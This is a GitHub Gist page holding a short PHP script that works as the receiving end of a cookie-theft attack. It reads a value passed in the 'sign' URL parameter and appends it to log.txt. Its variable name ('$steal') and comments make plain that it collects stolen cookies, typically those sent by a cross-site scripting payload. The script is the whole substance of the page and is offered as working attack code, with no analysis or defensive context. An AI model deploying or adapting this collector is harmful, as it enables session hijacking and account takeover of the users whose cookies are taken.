Created
August 27, 2016 02:56
-
-
Save ghost-ng/7124c42407fdd1b85f59cc6c15b234a3 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$cookie = $_GET["sign"]; //extracts the data after the '=' following the 'sign' variable in the url | |
$steal = fopen("log.txt", "a+"); //appends data to 'log.txt' | |
fwrite($steal, $cookie . "\n"); //writes the cookie to file | |
fclose($steal); //closes the file | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment